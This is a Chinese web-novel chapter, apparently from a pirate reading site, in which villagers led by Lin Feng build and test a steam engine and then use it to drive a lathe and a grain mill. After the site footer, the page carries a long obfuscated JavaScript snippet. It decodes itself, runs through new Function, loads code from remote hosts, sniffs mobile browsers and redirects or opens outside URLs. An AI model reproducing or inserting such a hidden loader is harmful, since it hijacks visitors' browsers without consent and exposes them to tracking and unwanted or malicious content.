第四十八章 蒸汽机
第四十八章蒸汽机(第1/2页)
第四卷·王者归位
第四十八章蒸汽机
蒸汽机的第一张草图是在车床工坊建成后的第二十一天画出来的。
那天下午下了场小雨,雨不大,但持续了将近一个时辰,把台地上的碎石路面淋成了均匀的深灰色。林锋蹲在干燥棚屋的台面前面,面前铺着那张从系统仓库里实体化出来的蒸汽机技术蓝图。蓝图的纸质跟之前其他图纸一致,表面平滑,线条精密,标注的尺寸单位与南坡目前使用的竹片尺标准相近。图纸的内容分为六幅独立的视图:侧剖图显示了整台机器的结构层次和内部通道走向,俯视图标注了各部件的平面位置和连接点坐标,锅炉部分的单独视图标出了炉膛容积和水套走向,汽缸组件的视图用细密的虚线画出了活塞的行程范围,飞轮部分的安装位置在动力输出轴上用同心圆标出了连接孔位的间距,阀门系统的管路走向用不同粗细的线条区分了主蒸汽管和辅蒸汽管。
林锋蹲在台面前把六幅视图从头到尾看了三遍,第一遍熟悉整体结构,第二遍核对尺寸标注和材料要求,第三遍把各部件之间的接口关系在脑子里过了一遍。蓝图上的整体尺寸约等同于一间排屋的宽度。锅炉的炉膛和燃烧室占据了底座板面的主要部分,汽缸以一个角度固定在底座上方,其缸径和行程长度标注了对应的数值。传动机构由活塞杆、连杆和飞轮组成。飞轮的直径约等于中等大小车轮的外缘直径。阀门系统集中在汽缸盖附近,进汽阀和排汽阀的启闭时序由偏心轮驱动,控制着蒸汽在汽缸两侧交替进入和排出的周期。
林锋看完第三遍之后,拿起炭笔在一张干净的树皮纸上列了一张材料清单。清单分成三类:第一类是锅炉所需的铁板料和铆接用料,对铁板的厚度和平整度要求很高;第二类是汽缸组件所需的精密加工件,包括汽缸内壁的精加工和活塞环的密封槽切削;第三类是连杆和飞轮的铸造与加工部件,这类部件的尺寸较大,需要在大件加工规格方面进行考虑。整张清单列完时,纸面上的条目已经密密麻麻排了三列。
当天晚饭后,林锋在火堆边召集了一次专门的技术会议。与会者共五人:柴旺、马平、何老六、周大铁和苏眉。他把蓝图在火堆边的石板面上展开,用手指着各部件逐项讲解了功能要求和材料规格。柴旺蹲在最靠近图纸的位置,在听完汽缸和活塞的加工精度要求后,他用手指在汽缸内壁的标注线上来回划了几道,拇指指甲在加工部位的表面留下了一条浅浅的印痕,没有说话但视线在标注线附近的区域停留了很长时间。马平在听到锅炉部分的时候用炭枝在石板边角画了一个简略的炉膛截面图,标出了燃烧室和水套之间的隔层厚度。何老六在听完阀门系统的时序描述后提出了一个关于进汽阀与排汽阀在转速变化时的配合顺序问题,林锋在黑板上画了一组四个状态位图做了解释,何老六看了一遍之后点了点头。
会议的核心安排是:马平负责锅炉部分的锻造和铆接,需要高炉连续出铁一段周期积累足够厚度的铁板料;柴旺负责汽缸和活塞的精密加工,主要使用车床进行缸体内壁的车削与研磨;何老六负责连杆和飞轮的铸造与修整;周大铁负责蒸汽机的动力输出接口与南风号现有传动系统的适配方案设计;苏眉负责加工进度的协调和材料供应的对接。各部分计划的时间安排被标注在石板面的角落。
锅炉的制造是蒸汽机工程中最早启动的部分。马平从高炉出铁区挑选了连续一周产出的、品相最好的铁锭,经过再次加热锻打后轧成了厚度均匀的铁板。铁板的尺寸需要达到一定规格才能用于锅炉的曲面卷制和拼接。他在锻打铁板的过程中控制加热次数和锻打温度,避免铁板因反复加热导致表面脱碳层过厚。每块铁板的厚度和边角平整度都经过了测量和验证后才转入下一道工序。
曲面卷制是锅炉制造中的关键步骤。铁板需经过加热到适当温度后进行弯曲,形成锅炉外壳的弧面。弯曲过程采用分段加热与分步成形的方式,先将铁板沿长度方向分段依次加热至预定温度范围,然后将加热段在卷制模板上逐步压弯,待整块铁板完成预定弧度的成形后再进行后续的铆接准备。马平在卷制过程中用一组测量工具对弯曲后的铁板表面曲率进行了多次检测,并与图纸上的标注尺寸进行对照,将检测结果标记在工件表面以供后续比较。
铆接工艺用于连接锅炉外壳的纵缝和环缝。铆钉由高炉铁锭制成,加热至变红后被插入预先钻好的孔洞中,用铆锤击打铆钉头使其变形后将两块铁板连接起来。锅炉的接缝处共有数排铆钉,铆钉间距保持一致,每排铆钉在轴向和径向的分布均匀。铆接完成后,马平用细磨石清理了铆钉头部的毛刺和表面,对锅炉整体外形做了初步检视,然后将锅炉移至装配区等待内部水套和炉膛组件的安装。
汽缸组件的制造在车床工坊同步进行。汽缸本体是一根直径约六寸的铁管,壁厚和长度均按照蓝图标注加工。车床的主轴卡盘在夹持汽缸毛坯时,需要保证毛坯端面与主轴轴线之间的偏移量被限制在一定范围内,确保加工出的汽缸内壁与端面的几何关系达到配合要求。粗车完成后,内壁的精加工通过改用更细进给量来完成,整个切削深度从毛坯表面开始逐步向内推进,每一刀都在上一次切削产生的表面基础上进行,逐渐去除材料直至内径到达图纸标注的数值和表面质量要求。
汽缸盖同时加工完成。汽缸盖上预留了进汽孔和排汽孔以及一组连接螺栓的安装孔。孔位与汽缸体上的对应位置在装配前通过划线依次对正,以保证各孔在安装时和后续拆卸时都能准确重合。活塞体的加工也在同一段时间内完成。活塞体是一个圆柱形铁件,外径需要小于汽缸内径但能在运动过程中有效地封闭汽缸空间。活塞外壁上的密封槽通过车床的切槽工序一次完成,槽底宽度和深度的测量值与要求值的偏差被控制在一定范围内。活塞杆从活塞体中心伸出,两端分别与活塞体和连杆的接头连接,杆身的直线度在加工过程中逐段调整。
连杆和飞轮的铸造工作同时展开。何老六在炉址区附近搭建了一个专用的铸造棚,棚内设有工作台、砂箱和一套用于制作铸型的分体式模具。连杆的铸型采用分模形式,飞轮的铸型尺寸较大。何老六在浇铸第一件大尺寸铸件时,预先设计了浇口和冒口的位置与尺寸,以确保铁水在填充铸型时不会在薄壁处凝固过快导致浇不足,也不会因冒口过高而产生不必要的材料损耗。铸件在自然冷却后从砂型中取出,清除了表面的粘砂和浇口残留物,随后送入车床工坊进行基准面加工和孔位的扩孔铰孔。飞轮表面经过粗车和精车两道工序后完成了外径和安装基准面的加工,外圈边缘被切削出一条安装皮带的槽,内圈与曲轴之间的配合在加工时预留了适当的装配余量以方便安装和调整。
(本章未完,请点击下一页继续阅读)第四十八章蒸汽机(第2/2页)
阀门的制造由林锋亲自参与设计验证和功能检验。阀门系统包含两组主要的阀件,分别控制高温蒸汽进入汽缸和从汽缸排出。阀体用高炉铁锭锻造成形,内部通道的孔径和流向根据蓝图布局进行加工,阀芯的密封面在装配前经过配合研磨。偏心轮和阀杆的连接通过一组可调节的螺纹套筒完成,进汽阀和排汽阀的启闭顺序和持续时间的配合间隙在装配过程中经过多次调整和验证,使阀的开启点与活塞的位置之间建立同步对应关系,确保蒸汽在汽缸内得到有效利用。
各部件的加工在各自的工作区域同步推进,锅炉的铆接、汽缸的内壁精加工、飞轮的铸造、阀门的组装,在不同地点按各自的排程进行。苏眉每天傍晚在检查各区域进度后,将当日的完成情况标注在一块专用竹片上。竹片上的条目随着时间推移不断增加和更新。
装配工作开始在锅炉主体基本成形后的第三周。汽缸组件被固定到锅炉上方的安装座上,两者之间的连接管穿过锅炉顶部的预留接口,接入汽缸盖的进汽口。飞轮和连杆的转轴在底座上的轴承座内就位,活塞杆的末端与连杆的接头通过一枚铰链销连接,活塞在汽缸内的初始位置被设定在行程中段以便在首次通气时不偏向任一端的极端位置。阀门系统被安装在汽缸盖侧面,进汽阀和排汽阀与锅炉之间通过管道连接,管道在接口处的密封垫片经压缩后形成一个完整的通道。
飞轮在装配到曲轴上之后,开始手动盘转以检查各运动部件之间的运动间隙和配合动作。手动盘转时,可以观察到活塞在汽缸内按顺序移动,连杆随之摆动,飞轮转过一定的角度,各部件之间的运动轨迹与设计预期一致,不存在干涉或卡滞。手动盘转完成后,阀门系统的控制杆与偏心轮之间的连杆关系也做了调整,使阀门的启闭时刻与活塞的运动位置之间建立对应关系。
首次通汽试验选在第二天清晨进行。天还没完全亮透,装配棚内的油灯已先点亮,光线从灯罩中透出照在锅炉和汽缸的金属表面上,形成一道道由明到暗的过渡带。马平操作点燃炉膛内的木炭和燃料,火焰透过炉箅均匀分布在炉膛空间内,热量通过锅炉底部的受热面传导,使锅炉内的水温持续升高。从水位计中可以看到水面的波动幅度随着温度升高逐渐减弱,表明水正在逐步吸收热量。
压力表上的指针开始缓慢偏转,从静止状态向刻度线方向移动。司炉持续向炉膛添柴和调整风门,使压力保持在一个持续且稳定的上升轨道上。
当压力表的读数达到预设值附近时,林锋在主汽阀的手轮上施加了作用力,将它旋转了一段行程。阀门在管道系统中按照指令动作,将来自锅炉的蒸汽通过管道导向汽缸上方的进汽口,蒸汽进入汽缸后,在汽缸内部对活塞表面施加压力,推动活塞向另一方向移动。活塞的移动通过活塞杆推动连杆转动曲轴,飞轮开始旋转,带动偏心轮进入工作姿态。阀门系统的行程在当前配气机构的作用下进行了切换,进汽阀和排汽阀的状态相互交替。在蒸汽的持续作用下,飞轮保持转动,完成了一个完整的循环。
在首圈运转过程中,操作者留意到几处需要注意的状况:进汽阀与排汽阀在换向时存在短暂的重叠,导致部分蒸汽从排汽口散失,出力受到影响;飞轮在运转中的摆动幅度较大,可能与曲轴的动平衡配重或者飞轮的惯性调整有关;锅炉水位在持续运行中有所下降,补水间隔需要根据当前耗汽量和炉膛温度进行测算。首次通汽试验持续了约两刻钟后,操作者关小了主汽阀,飞轮转速逐渐降低,最终停止在起始位置附近。
第二次通汽试验在当天下午进行。林锋调整了偏心轮的连杆长度和阀杆行程的配合角度,缩短了进汽阀和排汽阀同时开启的重叠时间,使蒸汽在汽缸内的停留时间更紧凑。飞轮边缘增加了配重调整块,修正了惯性分布,运行中的摆动幅度有所减弱。锅炉补水间隔和水位计的读数在试验前预先设定了一个覆盖正常运行范围的补水计划。各项调整完毕之后,主汽阀再次打开,飞轮从静止状态开始加速,在蒸汽进入汽缸的过程中逐步提升至设计转速附近。在额定转速持续运转的一段时间内,各运动部件之间的动作顺序平稳,阀门的启闭与活塞的位置同步正确,曲轴的转动均匀连续,汽缸的密封状态也符合预期要求。
第二次通汽试验结束后,蒸汽机在额定转速下连续运转了一段时间,然后减速并平稳停止,运转过程中没有出现明显的部件松动、过热变形或密封失效的情况。冷却后,各连接部位依次进行了检查与紧固,阀门杆与偏心轮之间的连接点无松动,活塞杆与连杆的接头各固定件保持原有位置,管道连接处的密封垫片未见压溃,锅炉表面的铆接缝没有出现渗漏痕迹和热变形。检查结果确认机器在试验中未出现需要重新拆装的损伤和结构异常,可以进入常规运行和维护阶段。
蒸汽机首次运行后的应用对接工作随之展开。第一个对接目标选定为车床传动系统的动力转换,通过蒸汽机输出的旋转动力驱动车床主轴,替代当前的人力传动。周大铁在车床底座外侧安装了一个皮带轮,用皮带将蒸汽机的飞轮与车床的皮带轮连接起来,再调整两者之间的间距和皮带张紧程度。蒸汽机启动后,车床主轴通过皮带轮的传动开始旋转,操作者可以专注于刀具的进给控制而不需要同时踩踏板,车削时的转速保持在一个稳定的范围内。
第二个对接目标是一台小型磨盘,用于谷物和薯类的粉碎。磨盘的上盘通过一根立轴与飞轮侧的传动机构相连,蒸汽机启动后,磨盘上盘开始旋转,下盘固定。谷物从磨盘上方的进料口流入,在两片磨盘之间的间隙中受到挤压,被研磨成粉状后从磨盘边缘落下。首批磨制的薯干粉在当天傍晚被送到了胡老勺的灶房,他在煮粥时撒了一小把进去,粥的质地比之前更加稠厚均匀,香味在灶台周围停留了更长的时间。
在蒸汽机完成运转测试后,马平在记录竹片中写道:“机器之运转全凭火力与水力不同。火力所至,动而不息,无论风雨昼夜,皆可连续运转,其力均匀恒定,非人力所能及。“他在记录末尾还标注了锅炉的燃料消耗数据和蒸汽压力与输出转速之间的关系,作为以后运行操作和效率评估的基础参考。这台机器将按照计划接入手工作业流程,以取代需要人力长时间操作的环节。
当夜,蒸汽机完成首次正式运行任务后已经停机,锅炉仍在缓慢冷却,金属表面在余温下散发出一层薄薄的热气,在棚内灯光的映照下呈现出微弱的扰动。棚外台地上的日常运转已逐渐进入晚间的状态,有小孩在排屋门口的空地上蹲着,在泥地上划着线条和图形,旁边的火堆持续燃烧着,余烬在夜风中缓慢消耗。
(第四卷·第四十八章完)
一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();